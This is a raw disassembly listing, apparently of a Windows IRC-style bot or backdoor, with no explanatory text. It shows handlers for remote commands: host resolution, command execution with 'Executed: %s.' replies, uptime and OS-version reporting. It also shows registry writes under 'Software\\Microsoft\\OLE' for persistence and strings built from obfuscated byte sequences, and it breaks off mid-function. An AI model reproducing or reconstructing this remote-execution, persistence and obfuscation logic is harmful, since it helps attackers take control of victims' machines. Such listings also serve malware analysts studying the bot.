mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_4051F4
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_4051F4: ; CODE XREF: sub_404C70+56Ej
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017E4
push eax
call near ptr 71AB2BF4h
nop
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_4052C7
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
call near ptr 71ABE479h
nop
mov edi, eax
test edi, edi
jz loc_4053A8
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017E4
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40540E
; ---------------------------------------------------------------------------
loc_4052C7: ; CODE XREF: sub_404C70+5CAj
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017E4
push eax
call near ptr 71AB4FD4h
nop
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_4053A8
mov ecx, [edi+0Ch]
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016AE
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4053A8: ; CODE XREF: sub_404C70+5E3j
; sub_404C70+694j
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017E4
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40540E: ; CODE XREF: sub_404C70+652j
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405431: ; CODE XREF: sub_404C70+50Fj
lea ecx, [edi+0BCDh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405522
lea ecx, [edi+9]
call sub_4017E4
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402022
add esp, 8
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+188h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+190h+var_4], ebx
call sub_4019B5
add esp, 18h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60B5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E85
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405522: ; CODE XREF: sub_404C70+7D6j
lea ecx, [edi+0E23h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405690
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013D9
mov ecx, edi
mov ebx, eax
call sub_4013D9
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013D9
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_405673
lea ecx, [esp+178h+var_14C]
call sub_401424
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013D9
add eax, 2
mov ecx, esi
push eax
call sub_40146F
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015D7
lea ecx, [esp+178h+var_164]
call sub_401424
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017E4
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017E4
push eax
nop
call near ptr 77C293C7h
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_40562A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405648
; ---------------------------------------------------------------------------
loc_40562A: ; CODE XREF: sub_404C70+99Dj
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405648: ; CODE XREF: sub_404C70+9B8j
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_40566E: ; CODE XREF: sub_404C70+1D4j
; sub_404C70+2AFj ...
call sub_401226
loc_405673: ; CODE XREF: sub_404C70+922j
; sub_404C70+C70j
xor al, al
loc_405675: ; CODE XREF: sub_404C70+6Fj
; sub_404C70+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_405690: ; CODE XREF: sub_404C70+8C7j
lea ecx, [edi+0C85h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405706
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F3C
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60B5
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405706: ; CODE XREF: sub_404C70+A35j
lea ecx, [edi+0CE1h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4057F7
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E85
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019B5
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E6E85
mov [esp+178h+var_4], 1Ah
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60B5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4057F7: ; CODE XREF: sub_404C70+AABj
lea ecx, [edi+0CB3h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4058CB
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_40585F
mov ebx, 7
loc_40585F: ; CODE XREF: sub_404C70+BE8j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40194C
push offset byte_446F70
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_4058B4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60B5
call sub_401118
loc_4058B4: ; CODE XREF: sub_404C70+C17j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4058CB: ; CODE XREF: sub_404C70+B9Cj
lea ecx, [edi+0DF5h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405673
lea ecx, [esp+178h+var_100]
call sub_401424
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019B5
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A87
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_50F75C
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi ; dword_50F75C
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019B5
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017E4
mov edx, [esp+19Ch+var_17C]
push eax
push edx
nop
call near ptr 2940000h
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_50F738
push eax
call edi ; dword_50F738
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017E4
push eax
push 80000002h
call esi ; dword_50F75C
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017E4
mov ebp, dword_50F764
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp ; dword_50F764
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi ; dword_50F738
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017E4
push eax
call sub_4015FA
sub_404C70 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh
dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
dd 9C884C24h, 17C24h, 0C11BE800h, 0E850FFFFh, 23EB000h
dd 6A006A90h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h
dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh
dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
dd 50FFFFBAh, 0AD78E890h, 548D023Eh, 4C8D1024h, 68527824h
dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h
dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h
dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch
dd 9050FFFFh, 3EAEBFE8h, 6A006A02h, 6A186A05h, 6A4E6A05h
dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h
dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
dd 23EAC32h, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 0E850FFFFh
dd 23EAD7Ch, 6A006A90h, 6A186A05h, 6A4E6A05h, 6A196A13h
dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh
dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h
dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh
dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23EAAF2h, 10244C8Dh
dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h
dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h
dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h
dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
dd 4AE84C24h, 50FFFFBDh, 0AC2EE890h, 6A023Eh, 186A056Ah
dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh
dd 0A3E89050h, 8D023EA9h, 8D102454h, 5278244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h
dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
dd 0AE84C24h, 50FFFFBCh, 3EAAEFE8h, 6A9002h, 186A056Ah
dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
dd 0A864E850h, 8D90023Eh, 8D102444h, 5078244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h
dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch
dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh
dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4066E0 proc near ; CODE XREF: sub_40194Cj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4066E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_401424
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406731
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_4020F4
mov [esp+38h+var_28], ebp
jmp loc_4067D7
; ---------------------------------------------------------------------------
loc_406731: ; CODE XREF: sub_4066E0+3Aj
nop
call near ptr 27F08B4h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_4067C3
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014C9
jmp short loc_4067D3
; ---------------------------------------------------------------------------
loc_4067C3: ; CODE XREF: sub_4066E0+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_446F70
mov ecx, esi
call sub_401861
loc_4067D3: ; CODE XREF: sub_4066E0+E1j
mov [esp+38h+var_28], ebp
loc_4067D7: ; CODE XREF: sub_4066E0+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_4066E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406850: ; CODE XREF: ___:00401668j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_446F70
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401861
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406890 proc near ; CODE XREF: sub_401F3Cj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_406890
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_401424
mov [esp+1A4h+var_4], 1
nop
call near ptr 27F08B4h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2830000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
call near ptr 2820000h
nop
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_40695E
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406946
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406936
mov ebp, offset a95 ; "95"
jmp loc_4069D1
; ---------------------------------------------------------------------------
loc_406936: ; CODE XREF: sub_406890+9Aj
cmp eax, 2
jnz loc_4069CD
mov ebp, offset aNt ; "NT"
jmp short loc_40699A
; ---------------------------------------------------------------------------
loc_406946: ; CODE XREF: sub_406890+8Ej
cmp eax, 0Ah
jnz short loc_406952
mov ebp, offset a98 ; "98"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406952: ; CODE XREF: sub_406890+B9j
cmp eax, 5Ah
jnz short loc_40698B
mov ebp, offset aMe ; "ME"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_40695E: ; CODE XREF: sub_406890+83j
cmp eax, 5
jnz short loc_40698B
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406975
mov ebp, offset a2000 ; "2000"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406975: ; CODE XREF: sub_406890+DCj
cmp eax, 1
jnz short loc_406981
mov ebp, offset aXp ; "XP"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406981: ; CODE XREF: sub_406890+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_406990
loc_40698B: ; CODE XREF: sub_406890+C5j
; sub_406890+D1j
mov ebp, offset a??? ; "???"
loc_406990: ; CODE XREF: sub_406890+C0j
; sub_406890+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_4069D1
loc_40699A: ; CODE XREF: sub_406890+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_4069D1
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
nop
call sub_5EDAB2
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_4069D1
; ---------------------------------------------------------------------------
loc_4069CD: ; CODE XREF: sub_406890+A9j
mov ebp, [esp+1A4h+var_198]
loc_4069D1: ; CODE XREF: sub_406890+A1j
; sub_406890+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
call near ptr 281112Eh
nop
lea edx, [esp+1A4h+var_194]
lea eax, [esp+1A4h+var_164]
push edx
push eax
nop
call near ptr 2920D9Fh
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
